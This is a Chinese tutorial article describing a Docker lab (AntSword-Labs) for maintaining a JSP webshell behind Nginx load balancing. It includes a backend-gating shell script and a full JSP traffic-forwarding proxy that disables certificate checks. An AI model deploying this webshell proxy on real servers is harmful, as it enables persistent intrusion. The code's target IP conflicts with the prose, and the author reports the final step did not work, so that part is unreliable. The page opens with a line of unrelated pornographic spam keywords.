亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Nginx負載均衡下的webshell連接的實現(xiàn)

 更新時間:2024年01月28日 15:07:17   作者:就不做程序猿  
在解決shell文件上傳問題、命令執(zhí)行漂移等困難后,可實現(xiàn)正常的webshell上傳,本文主要介紹了Nginx負載均衡下的webshell連接的實現(xiàn),具有一定的參考價值,感興趣的可以了解一下

一、上傳AntSword-Labs-master搭建負載均衡實驗環(huán)境

搭建好docker環(huán)境,并且配置好docker-compose

我的Redhat的docker版本:

查看當前環(huán)境下的文件是否正確:

接著執(zhí)行docker compose up -d 拉取環(huán)境

訪問成功頁面:

進入docker容器執(zhí)行以下命令

docker exec loadbalance-jsp_lbsnode1-1 bash -c "ls -l webapps/RO0T/ant.jsp"

可以發(fā)現(xiàn)存在webshell,查看里面內(nèi)容如下:

二、連接webshell 執(zhí)行命令

然后連接目標,因為兩臺節(jié)點都在相同的位置存在 ant.jsp,所以連接的時候也沒出現(xiàn)什么異常

一旦有一臺機器上沒有,那么在請求輪到這臺機器上的時候,就會出現(xiàn) 404 錯誤,影響使用。

我們可以發(fā)現(xiàn),主機的ip一直在變

三、上傳文件/工具

我先在這個目錄下上傳一個hack.txt文件,刷新

再次刷新,發(fā)現(xiàn)文件不見了,是因為文件被分開上傳到不同的后端了,不停地刷新會發(fā)現(xiàn)文件時而存在時而不見。

連續(xù)進行上傳操作,直到刷新到hack.txt文件一直存在為止。如果文件較大,則會導(dǎo)致上傳的工具用不了。

五、解決執(zhí)行的命令會分散到不同的后端的問題

1、我們既然無法預(yù)測下一次命令是哪臺機器去執(zhí)行,那我們的 Shell 在執(zhí)行 Payload 之前,先判斷一下要不要執(zhí)行不就行了?

因為本次環(huán)境由docker搭建的,在docker里面下載相應(yīng)的工具

進入相應(yīng)的docker容器(注意不同的系統(tǒng)容器名字不一樣) 退出容器exit

升級一下

apt-get update

安裝一下 

apt-get install net-tools

測試一下好不好用,因為只在一臺裝了,另一臺用不了

兩臺都要裝上

2、創(chuàng)建腳本判斷要執(zhí)行命令的ip是不是目標后端

vim demo.sh

MYIP=`ifconfig | grep "inet 172.19" | awk '{print $2}'`
if [ "$MYIP" == "172.19.0.2" ]; then
        echo "allow exec your command"
        id
else
        echo "try again!!!"
fi

然后將次腳本復(fù)制到docker容器下的臨時文件夾下,兩臺都要復(fù)制

docker cp demo.sh 8e558d690564:/tmp

此時執(zhí)行腳本,匹配

這就解決了執(zhí)行命令只會在一臺特定后端

六、解決上傳文件會分散到不同的后端的問題

測試內(nèi)網(wǎng)通信

curl http://172.19.0.3:8080 -X HEAD -v

Web 層做一次 HTTP 流量轉(zhuǎn)發(fā)實現(xiàn)后端不是目標的機器將流量轉(zhuǎn)發(fā)給目標機

antproxy.jsp

注意更改這個字段  String target = "http://172.19.0.2:8080/ant.jsp";

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.20.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

使用蟻劍的新建文件功能,新建一個antproxy.jsp的文件上傳,重復(fù)上傳多次,確保所有后端都上傳上去了。

將上面的代碼復(fù)制到這個文件中并多次保存,確保每臺后端都存在

然后更新名字antproxy.jsp

按道理來講,這樣之后進行測試,所有的流量都會轉(zhuǎn)發(fā)到172.19.0.2

但是不知道是不是redhat系統(tǒng)的原因,此現(xiàn)象看不到,還會一直跳

到此這篇關(guān)于Nginx負載均衡下的webshell連接的實現(xiàn)的文章就介紹到這了,更多相關(guān)Nginx負載均衡webshell連接內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論